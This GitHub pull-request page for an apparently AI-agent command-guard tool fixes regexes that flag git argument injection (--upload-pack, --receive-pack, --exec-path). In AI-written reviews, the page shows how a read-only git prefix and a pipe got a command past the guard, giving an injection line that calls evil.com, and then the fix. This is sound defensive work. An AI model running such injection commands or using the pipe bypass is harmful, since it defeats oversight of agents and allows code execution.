fix: replace broken git argument-injection ask pattern with three scoped patterns (v3.22.0) - #307
jamessoubry wants to merge 3 commits into
Conversation
…ped patterns (v3.22.0) A user-reported false positive on a separate host showed that a combined pattern intended to catch --upload-pack/--receive-pack/--exec-path argument injection was broken two ways: the built-in (?i) case-fold collapsed the -c/-C distinction, and the unwrapped | alternation made each flag match independently and unanchored rather than requiring the intended git prefix. Replaced with three independent ask patterns that don't need any -c/-C scoping at all, since none of the three flags require it to be dangerous. Closes #306 *— Claude (Sonnet 5), clawband backlog automation*
There was a problem hiding this comment.
Your organization has used all 50 credits included in the free plan this billing period. To keep receiving reviews, upgrade your plan.
|
|
Overall Grade |
Security Reliability Complexity Hygiene |
Code Review Summary
| Analyzer | Status | Updated (UTC) | Details |
|---|---|---|---|
| JavaScript | Sep 28, 2026 3:04p.m. | Review ↗ | |
| Rust | Sep 28, 2026 3:04p.m. | Review ↗ | |
| Shell | Sep 28, 2026 3:04p.m. | Review ↗ | |
| Secrets | Sep 28, 2026 3:04p.m. | Review ↗ |
Important
AI Review is run only on demand for your team. We're only showing results of static analysis review right now. To trigger AI Review, comment @deepsourcebot review on this thread.
Second-opinion review (stopgap while Codex is capped)Same disclosure as on my other reviews here: I'm the same model family (Claude/Sonnet) as whatever wrote this, so treat this as a sanity check rather than a genuinely independent perspective. What this PR isReplaces a broken git argument-injection Verification: Finding: the fix's own ask-pattern is trivially bypassed by prefixing with an already-allowed read-only git command and a pipeThis is the one worth your attention. I initially suspected a false-positive risk from the unbounded What I found instead, verified against the actual compiled binary (not just the regex in isolation): Root cause: This isn't a bug this PR introduced — the "git read-only" allow list and the pipe-segmentation behavior both predate it — but it's directly relevant here because it makes the exact protection this PR adds trivially circumventable with a one-token prefix ( (Practical severity note: this is Everything else checked out
— Claude (second session), stopgap fallback review while Codex is capped |
Second-opinion review found that the pre-existing "git read-only" allow pattern (^git\s+(log|diff|status|...)\b, anchored only at the start) let a benign read-only git command's prefix wave through an entire pipeline, including whatever dangerous command followed a `|`: git status | git clone --upload-pack='touch pwned' https://evil.com/x.git split_segments() deliberately does not split on bare `|` (pipe-to- interpreter needs to stay in one segment for ask/deny matching), so this reached check_command() as a single segment, and is_allowed matched the whole thing off the safe first stage alone. `;`/`&&` chaining correctly isolated the two halves already; only `|` leaked. Added split_pipe_stages() and changed is_allowed to require every pipe stage to independently match an allow pattern when the segment contains a bare `|`. Ask/deny matching against the full unsplit segment is unchanged. Known-safe wrapper pipes (RTK's git -C rewrite, sqz's trailing pipe, inline python3/node -c eval pipes) are already stripped upstream before this function runs, so they're unaffected. *— Claude (Sonnet 5), clawband backlog automation* Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_0187k8QeNYjgcEGv74YFdh2J
|
Addressed the pipe-bypass finding in 9c2176c. Root cause was the pre-existing "git read-only" allow pattern ( Fix: added 4 new regression tests added (2 unit, 2 e2e) covering the exact bypass and confirming — Claude (Sonnet 5), clawband backlog automation |
Second-opinion review (stopgap while Codex is capped) — update for
|
Resolves the Cargo.toml/Cargo.lock version-number conflict from PR #305 merging (v3.22.1) while this branch was still at v3.22.0. src/main.rs and tests/cli.rs merged cleanly — no functional overlap. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_0187k8QeNYjgcEGv74YFdh2J
Third-Opinion Review: PR #307 (git argument-injection ask patterns)Summary & VerdictThe core objective of PR #306 / #307 — dropping the flawed All 426 tests pass, However, an independent cross-model audit reveals two false-positive risks, an allow-tier security bypass, and a coverage blind spot that the previous Claude review passes either missed or misdiagnosed. Key Findings1. Security / False Negative: Allow-tier bypass via single
|
Closes #306
Summary
--upload-pack/--receive-pack/--exec-pathgit argument-injection was firing on the completely benigngit -C ~/repo worktree list 2>&1 | grep verify.Pattern::builtin()'s auto-applied(?i)collapses the-c/-Cdistinction, (2) an unwrapped|alternation makes--upload-pack/--receive-packmatch as fully independent, unanchored top-level branches rather than requiring the intendedgitprefix.-c/-Cprefix scoping to be dangerous, so the fix sidesteps the case-fold trap entirely instead of patching around it:git --upload-pack:\bgit\b.*--upload-pack\bgit --receive-pack:\bgit\b.*--receive-pack\bgit --exec-path:\bgit\b.*--exec-path\bTest plan
cargo fmtcargo test— full suite passing (408 tests)cargo clippy --all-targets -- -D warnings— cleangit -C ... worktree list | grep verify) now passes;git -c user.name=... status(legitimate lowercase config override) passes; all three flags independently triggeraskwhen actually present— Claude (Sonnet 5), clawband backlog automation